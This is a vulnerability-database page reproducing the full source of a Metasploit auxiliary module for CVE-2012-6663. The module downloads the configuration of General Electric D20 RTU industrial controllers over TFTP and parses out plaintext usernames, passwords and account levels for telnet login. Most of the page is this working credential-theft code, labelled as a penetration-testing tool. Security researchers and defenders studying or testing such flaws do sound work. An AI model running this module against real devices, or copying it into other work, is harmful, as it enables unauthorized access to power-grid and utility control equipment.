Lucene search
K

General Electric D20 Password Recovery

🗓️ 19 Jan 2012 16:58:16Reported by K. Reid Wightman <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 67 Views

This module retrieves configuration from GE D20M* RTU devices to parse usernames, passwords, and authentication levels in plaintext

Related
Code
ReporterTitlePublishedViews
Family
circl
CVE-2012-6663
29 May 201815:50
circl
cve
CVE-2012-6663
23 Jan 202021:47
cve
cvelist
CVE-2012-6663
23 Jan 202021:47
cvelist
nvd
CVE-2012-6663
23 Jan 202022:15
nvd
packetstorm
General Electric D20 Password Recovery
31 Aug 202400:00
packetstorm
prion
Code injection
23 Jan 202022:15
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# This module grabs the device configuration from a GE D20M* RTU and
# parses the usernames and passwords from it.
##


class MetasploitModule < Msf::Auxiliary
  include Rex::Ui::Text
  include Rex::Proto::TFTP
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'General Electric D20 Password Recovery',
      'Description'    => %q{
        The General Electric D20ME and possibly other units (D200?) feature
        TFTP readable configurations with plaintext passwords.  This module
        retrieves the username, password, and authentication level list.
      },
      'Author'         => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2012-6663'],
        ],
      'DisclosureDate' => '2012-01-19'
      ))

    register_options(
      [
        Opt::RPORT(69),
        Opt::RHOST('192.168.255.1'),
        OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])
      ])
  end

  def setup
    @rhost = datastore['RHOST']
    @rport = datastore['RPORT'] || 69
    @lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
    @lhost = datastore['LHOST'] || "0.0.0.0"
    @rfile = datastore['REMOTE_CONFIG_NAME']
  end

  def cleanup
    if @tftp_client and @tftp_client.respond_to? :complete
      while not @tftp_client.complete
        select(nil,nil,nil,1)
        vprint_status "Cleaning up the TFTP client ports and threads."
        @tftp_client.stop
      end
    end
  end

  def rtarget(ip=nil)
    if (ip or rhost) and rport
      [(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
    elsif (ip or rhost)
      rhost
    else
      ""
    end
  end

  # Retrieve the file
  def retrieve
    print_status("Retrieving file")
    @tftp_client = Rex::Proto::TFTP::Client.new(
        "LocalHost" => @lhost,
        "LocalPort" => @lport,
        "PeerHost" => @rhost,
        "PeerPort" => @rport,
        "RemoteFile" => @rfile,
        "Action" => :download
    )
    @tftp_client.send_read_request { |msg| print_tftp_status(msg) }
    @tftp_client.threads do |thread|
      thread.join
    end
    # Wait for GET to finish
    while not @tftp_client.complete
      select(nil, nil, nil, 0.1)
    end
    fh = @tftp_client.recv_tempfile
    return fh
  end

  # Builds a big-endian word
  def makeword(bytestr)
    return bytestr.unpack("n")[0]
  end
  # builds abi
  def makelong(bytestr)
    return bytestr.unpack("N")[0]
  end

  # Returns a pointer.  We re-base the pointer
  # so that it may be used as a file pointer.
  # In the D20 memory, the file is located in flat
  # memory at 0x00800000.
  def makefptr(bytestr)
    ptr = makelong(bytestr)
    ptr = ptr - 0x00800000
    return ptr
  end

  # Build a string out of the file.  Assumes that the string is
  # null-terminated.  This will be the case in the D20 Username
  # and Password fields.
  def makestr(f, strptr)
    f.seek(strptr)
    str = ""
    b = f.read(1)
    if b != 0
      str = str + b
    end
    while b != "\000"
      b = f.read(1)
      if b != "\000"
        str = str + b
      end
    end
    return str
  end

  # configuration section names in the file are always
  # 8 bytes.  Sometimes they are null-terminated strings,
  # but not always, so I use this silly helper function.
  def getname(f, entryptr)
    f.seek(entryptr + 12) # three ptrs then name
    str = f.read(8)
    return str
  end

  def leftchild(f, entryptr)
    f.seek(entryptr + 4)
    ptr = f.read(4)
    return makefptr(ptr)
  end

  def rightchild(f, entryptr)
    f.seek(entryptr + 8)
    ptr = f.read(4)
    return makefptr(ptr)
  end

  # find the entry in the configuration file.
  # the file is a binary tree, with pointers to parent, left, right
  # stored as 32-bit big-endian values.
  # sorry for depth-first recursion
  def findentry(f, name, start)
    f.seek(start)
    myname = getname(f, start)
    if name == myname
      return start
    end
    left = leftchild(f, start)
    right = rightchild(f, start)
    if name < myname
      if left < f.stat.size and left != 0
        res = findentry(f, name, leftchild(f, start))
      else
        res = nil # this should perolate up
      end
    end
    if name > myname
      if right < f.stat.size and right != 0
        res = findentry(f, name, rightchild(f, start))
      else
        res = nil
      end
    end
    return res
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Parse the usernames, passwords, and security levels from the config
  # It's a little ugly (lots of hard-coded offsets).
  # The userdata starts at an offset dictated by the B014USERS config
  # offset 0x14 (20) bytes.  The rest is all about skipping past the
  # section header.
  def parseusers(f, userentryptr)
    f.seek(userentryptr + 0x14)
    dstart = makefptr(f.read(4))
    f.seek(userentryptr + 0x1C)
    numentries = makelong(f.read(4))
    f.seek(userentryptr + 0x60)
    headerlen = makeword(f.read(2))
    f.seek(userentryptr + 40) # sorry decimal
    entrylen = makeword(f.read(2)) # sorry this is decimal
    logins = Rex::Text::Table.new(
      'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
      'Indent' => 1,
      'Columns' => ["Type", "User Name", "Password"])

    0.upto(numentries -1).each do |i|
      f.seek(dstart + headerlen + i * entrylen)
      accounttype = makeword(f.read(2))
      f.seek(dstart + headerlen + i * entrylen + 2)
      accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
      f.seek(dstart + headerlen + i * entrylen + 2 + 22)
      accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
      if accountname.size + accountpass.size > 44
        print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
        break
      end
      logins <<  [accounttype,  accountname,  accountpass]
      report_cred(
        ip: datastore['RHOST'],
        port: 23,
        service_name: 'telnet',
        user: accountname,
        password: accountpass,
        proof: accounttype
      )
    end
    if not logins.rows.empty?
      loot = store_loot(
        "d20.user.creds",
        "text/csv",
        datastore['RHOST'],
        logins.to_s,
        "d20_user_creds.txt",
        "General Electric TELNET User Credentials",
        datastore['RPORT']
      )
      print_line logins.to_s
      print_status("Loot stored in: #{loot}")
    else
      print_error("No data collected")
    end
  end

  def parse(fh)
    print_status("Parsing file")
    File.open(fh.path, 'rb') do |f|
      used = f.read(4)
      if used != "USED"
        print_error "Invalid Configuration File!"
        return
      end
      f.seek(0x38)
      start = makefptr(f.read(4))
      userptr = findentry(f, "B014USER", start)
      if userptr != nil
        parseusers(f, userptr)
      else
        print_error "Error finding the user table in the configuration."
      end
    end
  end

  def run
    fh = retrieve
    parse(fh)
  end

  def print_tftp_status(msg)
    case msg
    when /Aborting/, /errors.$/
      print_error [rtarget,msg].join
    when /^WRQ accepted/, /^Sending/, /complete!$/
      print_good [rtarget,msg].join
    else
      vprint_status [rtarget,msg].join
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation